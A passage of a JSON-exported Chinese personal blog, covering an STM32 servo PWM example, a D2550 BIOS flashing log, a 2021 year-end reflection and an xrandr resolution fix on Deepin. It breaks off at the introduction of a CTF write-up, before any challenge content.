punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 TIM3 通道1的 PWM 模式\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e所以主函数为\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003emain\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 省了略各种初始化函数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 初始化,启动 TIM3 通道1的 PWM 模式\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehtim3\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eTIM_CHANNEL_1\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//PA6\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 先正转,再反转\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 更新CCR1值,直接用寄存器操作\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延时,等舵机转过去\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e--\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e TIM3 \u003cspan class=\"token operator\"\u003e-\u0026gt;\u003c/span\u003e CCR1 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e deg\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"转动效果\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/cac5/#%E8%BD%AC%E5%8A%A8%E6%95%88%E6%9E%9C\" class=\"headerlink\" title=\"转动效果\"\u003e\u003c/a\u003e转动效果\u003c/h4\u003e\u003cp\u003e对了如果发现不转记得检查一下供电,最好插上电源线再测试。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/2.gif\" alt=\"2\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/cac5/"},{"title":"D2550刷64位BIOS记录","time":"2022-05-01T17:20:28Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"D2550-刷64位BIOS记录\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1eaf/#D2550-%E5%88%B764%E4%BD%8DBIOS%E8%AE%B0%E5%BD%95\" class=\"headerlink\" title=\"D2550 刷64位BIOS记录\"\u003e\u003c/a\u003eD2550 刷64位BIOS记录\u003c/h1\u003e\u003cp\u003e早知道,还是软路由 \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"参考链接\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1eaf/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV1x441147zn?spm_id_from=333.880.my_history.page.click\"\u003e芯片级硬解64位系统限制!免费帮助网友解除d2550主板64位系统限制!刷bios轻松解决_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://yiniot.com/archives/48/\"\u003e编程夹刷写魔改BIOS ZTE CT320(D2550 cpu)支持64位系统 - 算云烟 (yiniot.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"0x00\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1eaf/#0x00\" class=\"headerlink\" title=\"0x00\"\u003e\u003c/a\u003e0x00\u003c/h3\u003e\u003cp\u003e目前的网络使用 k2p + N1 使用,比较碰巧这几天有个学弟在出 x86 软路由,就顺手收了过来\u003c/p\u003e\u003cp\u003eU 是 D2550 ,内存 ddr3 2G ,刚好垃圾之前捡的比较多(因为我刚进校的本子是 ddr3 内存),挑了一根4g 的顺便升级一下,至于硬盘多大,已经不重要了…… \u003cdel\u003e(因为后面我线接错给烧了)\u003c/del\u003e\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/d2550/2.webp\" alt=\"2\" style=\"zoom: 33%;\"/\u003e\u003ch3 id=\"0x01\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1eaf/#0x01\" class=\"headerlink\" title=\"0x01\"\u003e\u003c/a\u003e0x01\u003c/h3\u003e\u003cp\u003e拿到手头试了试,速度还不错\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/d2550/6.png\" alt=\"6\" style=\"zoom: 67%;\"/\u003e\u003cp\u003e然后想顺便在 docker 里装一个 clash 顺便把我 N1 的活也代替了,但是安装的时候提示不支持……查了一下发现因为这玩意是32 位 BIOS ,但是我不晓得我这是个啥板子……看了点相关博客,决定赌一个 \u003ccode\u003e占美、实达D2550-64BIOS\u003c/code\u003e ,借了个编程器,开始我第一次刷这玩意\u003c/p\u003e\u003ch3 id=\"0x02\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1eaf/#0x02\" class=\"headerlink\" title=\"0x02\"\u003e\u003c/a\u003e0x02\u003c/h3\u003e\u003cp\u003e先把主板拆出来,发现他的 BIOS 芯片在散热旁边,用夹子夹好一直识别不成功……于是决定拆下来,但是散热器挡着得先拆散热,就想着顺便把硅脂也换了。属于是歪打正着,这玩意硅脂已经硬的离谱了,我清理了半天才下来……\u003c/p\u003e\u003cp\u003e拆下来就这小玩意\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/d2550/3.jpg\" alt=\"3\" style=\"zoom:50%;\"/\u003e\u003cp\u003e整之前电脑上先把该装的 \u003cstrong\u003e驱动\u003c/strong\u003e 装了。\u003c/p\u003e\u003cp\u003e夹到夹子用 CH341A 识别挺快,先把原来的 BIOS 读取出来备份,然后按教程里的选 BIOS 刷入,但是我这一直报错\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/d2550/4.jpg\" alt=\"4\" style=\"zoom: 80%;\"/\u003e\u003cp\u003e试了好多次还是寄,我以为是夹子的锅,又把这玩意焊到了编程器了,但还是寄。\u003cspan class=\"diana_bengbuzhule\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e经过一番搜索,找到了大概原因是因为有的这玩意有保护,换用 \u003cstrong\u003e\u003ccode\u003eAsProgrammer\u003c/code\u003e\u003c/strong\u003e 刷入,非常顺利\u003c/p\u003e\u003cp\u003e最后开机查看BIOS,屏幕轻松点亮\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/d2550/5.webp\" alt=\"5\" style=\"zoom: 33%;\"/\u003e\u003ch3 id=\"一点小状况\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/1eaf/#%E4%B8%80%E7%82%B9%E5%B0%8F%E7%8A%B6%E5%86%B5\" class=\"headerlink\" title=\"一点小状况\"\u003e\u003c/a\u003e一点小状况\u003c/h3\u003e\u003cp\u003e)为什么莫得硬盘呢……纠结了半天最后发现是把电源线接错地方了\u003c/p\u003e\u003cp\u003e然后赶紧换了过来,好家伙一插上就关机……\u003c/p\u003e\u003cp\u003e烧咯……\u003cspan class=\"diana_qiaoda\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cdel\u003e画了60买了新盘,血亏\u003c/del\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e寄,买来硬盘要注意电源线的线序啊,差点又给我烧了。但是线坏了,又得花钱买线了……\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/1eaf/"},{"title":"2021_Summary","time":"2021-12-31T06:53:41Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"2021-年终总结\"\u003e\u003ca href=\"https://blog.ksfu.top/2021-Summary/#2021-%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"2021 年终总结\"\u003e\u003c/a\u003e2021 年终总结\u003c/h1\u003e\u003cp\u003e妈耶,一年这就结束了 ~ \u003c/p\u003e\u003cp\u003e今年过的算是不错,因为比较躺平所以也很容易满足~ \u003cdel\u003e(躺到写年终总结一时间不知道要写啥\u003c/del\u003e\u003c/p\u003e\u003cp\u003e学业方面差强人意?大一结束成绩没有很拉跨,得以在分流于后几名勉强进入通信工程专业。但是作为大类招生第一年的实验品,分流后这一学期学校课程安排的可以说非常拉跨,各种实验各种冲突各种大作业\u003cdel\u003ewdnmd\u003c/del\u003e。但好在还有一点自强不息的意识,身体挺好能熬夜,终于到了这学期结束。不过课程虽然拉跨但还是有合自己胃口的,单片机点亮个灯还是有意思的……不过大多数课真的是能混就混,然后天天早八对我这阴间作息的人来说属实离谱\u003cdel\u003e(怎么会是呢\u003c/del\u003e……\u003c/p\u003e\u003cp\u003e虽然没有太管得住嘴\u003cdel\u003e(还有缺德群友半夜发美食(我自己也发啊那没事了\u003c/del\u003e,但是腿倒是迈开了,每个月书院有一个5km马拉松的小活动,都参加了~虽然跑的挺慢\u003cdel\u003e(基本垫底)\u003c/del\u003e 但能跑下来还整挺好。体测虽然1km还差了几秒,但是过了 ~ 3km的成绩也在及格线里面了。体重只能说挺稳定……(不过这几天因为疫情只能待在宿舍,所以\u003cdel\u003e(xjb找理由就对了\u003c/del\u003e…… 身体健康!\u003cdel\u003e(20岁,四肢健全,大小便正常,下雨知道往家跑,一天可吃三顿饭,健康码绿色,未来可期!)\u003c/del\u003e\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"https://blog.ksfu.top/img/posts/2021Summary/1.png\" alt=\"1\" style=\"zoom:70%;\"/\u003e\u003c/div\u003e\u003chr/\u003e\u003cp\u003e今年又认识了很多人\u003cdel\u003e(水群越来越勤快了)\u003c/del\u003e,又是被大伙继续关照的一年~也是兴趣爱好和技能继续扩展的一年。因为有大佬带飞,学到了挺多没接触过的东西。现在虽然没有学的很深入,但对于自己的一些想法总能曲曲折折找到一些实现的法子\u003cdel\u003e(让我也体验了一把收获的喜悦)\u003c/del\u003e。在交通群了解到了很多火车知识,顺便看时刻表发现平凉站一天十几趟车只有一趟不是25G……为了运转双层火车,将返校的车票分为两程,结果因为暴雨影响,第一趟车原路折返,改签之后遇到火车改道,在车上困了1天\u003cdel\u003e(一个难忘的国庆假期)\u003c/del\u003e。校庆纪念信封的发行,让我对集邮又有了更多的认识,顺便寄了不少纪念封给同学\u003cdel\u003e(邮政现在挺快哦\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e暑假上海之行,因为疫情影响,火车接二连三被取消……不过到达之后属实大开眼界,各种高架,地铁站十几个出口balabalabala……不过因为建设的比较早,大多数地铁还是挺旧,有的还没报站\u003cdel\u003e(或者是我没发现?\u003c/del\u003e,跑起来挺颠簸。参观了几个公司\u003cdel\u003e(微软园区真不错)\u003c/del\u003e,逛了南京路,看了东方明珠塔,黄浦江漫步,晚上组团上网吧\u003cdel\u003e(交大周围环境真好)\u003c/del\u003e……吃的挺好,就是贵是真贵。然后因为疫情也没有活动很大范围。地方确实挺好,魔都哦~不过回去之后给我健康码变黄了……还好核酸之后打电话给我变回来了。\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"https://blog.ksfu.top/img/posts/2021Summary/2.jpeg\" alt=\"1641069033334\" style=\"zoom: 50%;text-align: center;margin: 0 auto;\"/\u003e\u003c/div\u003e\u003chr/\u003e\u003cp\u003e大伙都一个一个脱单了,真不错 ~ 然后今年寡了一年\u003cdel\u003e(女生也没认识几个emm\u003c/del\u003e,人也是一如既往的怂\u003cdel\u003e(?\u003c/del\u003e。水群水的的飞起,底下尬聊还是尬聊。祝大伙脱单的长长久久 ~ \u003cdel\u003e没脱单的看看我(男桐不要)\u003c/del\u003e\u003c/p\u003e\u003cp\u003e一年就这么没心没肺下来了 ~ 今年感谢大伙!然后新年继续努力,多水几篇博客,好好学习\u003cdel\u003e吧?\u003c/del\u003e脚踏实地,继续深入学习学习技能。坚持跑步\u003cdel\u003e(减肥\u003c/del\u003e。多找几本书看看,今年好像没看多少书emm\u003cdel\u003e(写个年终中总结都憋不出来几句骚话)\u003c/del\u003e。多看几部电影,多看几部纪录片,多看几场演唱会 ~ 继续维持和大伙的关系,多多联系 ~ 女朋友尽量尽量尽量找\u003cdel\u003e(万一呢)\u003c/del\u003e。少整点阴间作息。情绪少波动一点,虽然说不要想太多,但还是喜欢乱想\u003cdel\u003e(果然还是闲的\u003c/del\u003e。虽说难免走入低谷,还是希望新年能够平稳一些 ~ \u003c/p\u003e\u003cp\u003e\u003cem\u003e♫后知后觉,又过了一个秋~\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e祝大伙新年快乐,踔厉奋发,笃行不怠!愿疫情早日过去!祝福国泰民安!\u003c/strong\u003e\u003c/p\u003e\u003cdiv align=\"center\"\u003e \u003cimg src=\"https://i.loli.net/2021/04/18/OQWE5NkgnGXdD2C.jpg\" style=\"zoom: 83%;text-align: center;margin: 0 auto;\"/\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/2021-Summary/"},{"title":"Deepin新增分辨率","time":"2021-10-09T14:04:03Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"Deepin-新增屏幕分辨率\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b368/#Deepin-%E6%96%B0%E5%A2%9E%E5%B1%8F%E5%B9%95%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"Deepin 新增屏幕分辨率\"\u003e\u003c/a\u003eDeepin 新增屏幕分辨率\u003c/h1\u003e\u003cp\u003e因为最近同学送了半台 ThinkPad ,于是拿来装了 Deepin ,但是发现并没有适合自己屏幕的分辨率。\u003c/p\u003e\u003cp\u003e自己动手搜索解决,记录一下过程。\u003c/p\u003e\u003ch3 id=\"添加分辨率\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b368/#%E6%B7%BB%E5%8A%A0%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"添加分辨率\"\u003e\u003c/a\u003e添加分辨率\u003c/h3\u003e\u003cp\u003e先查看推荐的配置,加入 \u003ccode\u003e-r\u003c/code\u003e 可以尽可能的减少黑边\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-r\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e我的显示\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 1920x1080 59.93 Hz (CVT 2.07M9-R) hsync: 66.59 kHz; pclk: 138.50 MHz\u003c/span\u003eModeline \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查看输出的名字\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e-q\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查出来我输出的名字叫 \u003ccode\u003eVGA-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e接下来执行(后面改成自己的)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"保存分辨率\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b368/#%E4%BF%9D%E5%AD%98%E5%88%86%E8%BE%A8%E7%8E%87\" class=\"headerlink\" title=\"保存分辨率\"\u003e\u003c/a\u003e保存分辨率\u003c/h3\u003e\u003cp\u003e这样修改之后重启就又没有了,所以保存配置\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/profile\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在文件 \u003cstrong\u003e末尾\u003c/strong\u003e 加上\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;1920x1080R\u0026#34;\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e保存退出\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"来点成品\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/b368/#%E6%9D%A5%E7%82%B9%E6%88%90%E5%93%81\" class=\"headerlink\" title=\"来点成品\"\u003e\u003c/a\u003e来点成品\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/10/09/sCnVyacZrL2oKxl.jpg\" alt=\"psc.jpg\" style=\"zoom:67%;\"/\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/b368/"},{"title":"MoeCTF 2021 WriteUp","time":"2021-09-21T12:15:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"MoeCTF-2021-WriteUp\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/82c9/#MoeCTF-2021-WriteUp\" class=\"headerlink\" title=\"MoeCTF 2021 WriteUp\"\u003e\u003c/a\u003eMoeCTF 2021 WriteUp\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e没想到摸鱼摸到第9了(感谢Hidden了的师傅们(逃\u003c/del\u003e\u003c/p\u003e\u003cp\u003e挺菜的边做边学。\u003c/p\u003e\u003cp\u003e这次主要做了做 \u003ccode\u003eMisc\u003c/code\u003e 和 \u003ccode\u003eWeb\u003c/code\u003e 